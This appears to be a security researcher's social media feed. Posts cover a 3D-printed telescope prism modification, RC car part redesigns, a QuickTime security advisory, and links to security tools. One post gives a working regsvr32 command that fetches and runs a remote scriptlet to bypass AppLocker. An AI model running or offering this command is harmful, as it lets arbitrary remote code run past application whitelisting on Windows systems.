Dragos Ruiu
Dragos Ruiu
1 day ago
Tonight's project: Hacking Telescopes (almost literally)

Conventional wisdom is that you can't really put image erecting prisms (a little roof prism like you have in binoculars and SLRs to flip the upside down image right side up) into Newtonian reflector telescopes because they can't focus deep into the tube enough. Roof prisms bounce the image around a lot and add to the focusing distance greatly, making them unsuitable for reflectors. That is unless you have a 3D printer and a little design vision. (Pun intended :-)

For a while now I've had a 200mm reflector telescope (effectively a 1000mm f4 lens in camera terms). I went out and bought a relatively inexpensive telescope, but bought a really awesome Orion Stratus 21mm wide field (68 deg, part A) eyepiece that cost as much as the telescope tube - a lovely seven segment piece of glass with very little chromatic aberration to match the clear tube optics. While it is awesome for sky watching it always bugged me that I was never really able to use that lovely lens on ground subjects like boats at sea.

So on Newtonian reflectors (an awesome simple, relatively aberration-free two mirrors and a tube) to look at terrestrial subjects and invert the very clear but upside down image you get, one usually has to use a 1.5x magnification image erecting tube. The only one I found available was a cheap tube with a crappy single lens in it (part G in the photo) that introduced all kinds of aberration(blurryness, spherical distortion, chromatic rainbows etc...) in the image through that lovely Orion eyepiece.

The right way to invert that image clearly would be to use a roof prism - very clear without as much aberration as a curved lens because each face of the prism acts as a flat mirror. But roof pentaprisms bounce the image around so much inside the prism itself and add so much length to the focusing that for a reflector telescope it means you would have to put the focusing mechanism in the tube itself and block part of the image, which is why the conventional wisdom is that they are unusable with reflectors. No go. Or so I thought - until I figured out a way to do it.

And along the way I get to fix something that has always bugged me about my "inexpensive" (a.k.a. Cheap) Sky-watcher telescope: the rickety, clumsy, and shaky, rack and pinion focusing mechanism (part D) strapped to that nice tube with two fine mirrors. My solution consists of removing it and replacing it with a beautifully machined Orion Low Profile Hybrid Dual Rate Crayford helical gear focuser with wonderful action that can steadily support much heavier lenses and takes up a much smaller portion of the focusing distance than the old crappy focuser (part C). I've removed the base and mounting plate from the Orion focuser (part E with quite a thick mount engineered for an Orion tube that didn't fit my bolt pattern, once I puzzled out how to detach it with the four little mostly hidden grub screws that attached it) and I'm going to 3D print a mounting plate that insets the focuser as close to the tube as possible and matches the existing bolt pattern. While this shortens the focusing distance somewhat it's still not in range of using that 21mm eyepiece with a Celestron 95112 Image Erecting Diagonal (part B) - but it's close.

While it's not possible to push the focusing mechanism further into the tube without impacting the image, the nice, crisp image Celestron prism needlessly wastes a bunch of focusing distance with the 1.25" eyepiece mounting tubes (now removed, above and below G) and its threaded case, so what I'm going to do instead is build the prism into the focusing mechanism to further shorten the focusing distance using the prism and bring it in to range of use with many eyepieces. I'm going to remove the prism from the trapezoidal plastic housing the tubes screw into and design and use my 3D printer to print a replacement 2" to 1.25" eyepiece adapter like the one that comes with the focusing mechanism (part F). The change is that the replacement adapter will also have a section with a plastic cut out to mount the roof prism Into. This effectively puts the prism into the focusing mechanism itself and bypasses the need to inset the focuser into the scope, overlapping the segments of the focusing distance they occupy and allow it to be used with most eyepieces, with the end result allowing my telescope to provide gorgeously clear, very high magnification images that are also right side up for observing terrestrial targets.
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Bert Knabe Wow. That's incredible!
Dragos Ruiu
4 days ago
QSEE - Qualcomm Secured Execution Environment http://goo.gl/cTw5vg

Exploring Qualcomm's Secure Execution Environment
bits-please.blogspot.com
Dragos Ruiu
1 week ago
Paul Atwal originally shared:
Cool story and photos about the USA- Canada border.
> He wonders, however, if he would have been treated any differently if he weren't a white, professional photographer who could point to a website of his work. That came in handy when he was questioned for more than two hours by border guards in Michigan
Dragos Ruiu
1 week ago
htcap, crawler that grabs Ajax calls, DOM changes, etc... dumps to sql-lite, calls external scanners (python) http://goo.gl/sPl3Yq

Htcap - web application scanner able to crawl single page application (SPA) in a recursive manner by intercepting ajax calls and DOM changes
kitploit.com
1
Valdis Klētnieks I've always thought they were called "hives" because that's what programmers break out in at the very thought of having to deal with them....
Dragos Ruiu
1 week ago
Bypass AppLocker and run arbitrary VB or JavaScript code from the Internet using Windows built in Regsvr32 and COM+:
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
so handy, much use. Wow.

http://goo.gl/rKtHBY

Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files)
subt0x10.blogspot.com
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ansir ansir Xxx
Dragos Ruiu
1 week ago
So switching to rubber tires from NinjaFlex has pushed the stress from driving spiritedly back into the range of snapping plastic axles again. The shear point is at the inner base of the wheel rims on both front and back. The new combined HubAxle strengthens the front but for the rear... I think the best option is to use thicker ends for the driveshaft (beveled version of the main driveshaft thickness instead of a thinner cross-section) and use larger diameter mounting holes in the rims.
brett turnage what motor do you have?
Dragos Ruiu
1 week ago
Lose two more bolts/nuts from the assembly and reduce the parts to print count by one by combining the Upper_BOM and BOM_Block into a single piece.

http://www.thingiverse.com/thing:1504295 

OpenRC F1 Combined UpperBlock BOM by dragosr
thingiverse.com
Dragos Ruiu
1 week ago
http://www.thingiverse.com/thing:1502019

Combined the hub and axle into a single piece. It should be stronger than the two piece combo as my axles always seem to break right at the base of the bevel where the skinny section begins - I've made that section solid and gotten rid of the through hole for the now unnecessary screw.

While this prints fine, my inner perfectionist will compel me to clean up the meshes (generated somewhat crudely in quick and dirty MS 3DBuilder) in Autodesk Meshmixer...

I just destructively tested the new one piece HubAxle vs the old two piece combo. The new one is substantially stronger, I think printing the layers diagonally to the shear axis at the stress point helps as well.

Last night I figured out how to ditch another four bolts from the front suspension by printing snap in hinge pins for the steering linkage and hinge pins for the servo saver. The final two bolts could be eliminated by a snap in hub and a c shaped hub carrier with snap in hinge pins. Coming soon.... (When I also figure out new flexy suspension arms that take the place of the kingpin springs or shocks using the flex of the plastic).

OpenRC F1 Combined Hub Axle by dragosr
thingiverse.com
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Daniel Norée Great job +Dragos Ruiu this looks promising! I´m doing a list of project mods like this!
Dragos Ruiu
2 weeks ago
Advise immediately discontinuing all use of QuickTime video formats. Transcode to other formats (MP4) and uninstall all QuickTime software on all platforms. Apple is discontinuing it, won't patch security problems.

Most affected will be users of GoPro cameras, as GoPro Studio installs and relies on this software, You need to find a different video editor suite, I recommend Cyberlink PowerDirector.



http://goo.gl/rZZkA8
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Joel Seltmann ...are we talking about the .MOV format here?!
It can't be any "buggier" than Javascript or Flash!
Dragos Ruiu
2 weeks ago
Remote Desktop Protocol session replay from PCAP tool. http://goo.gl/eTqKtG

RDP Replay Code Release
contextis.com
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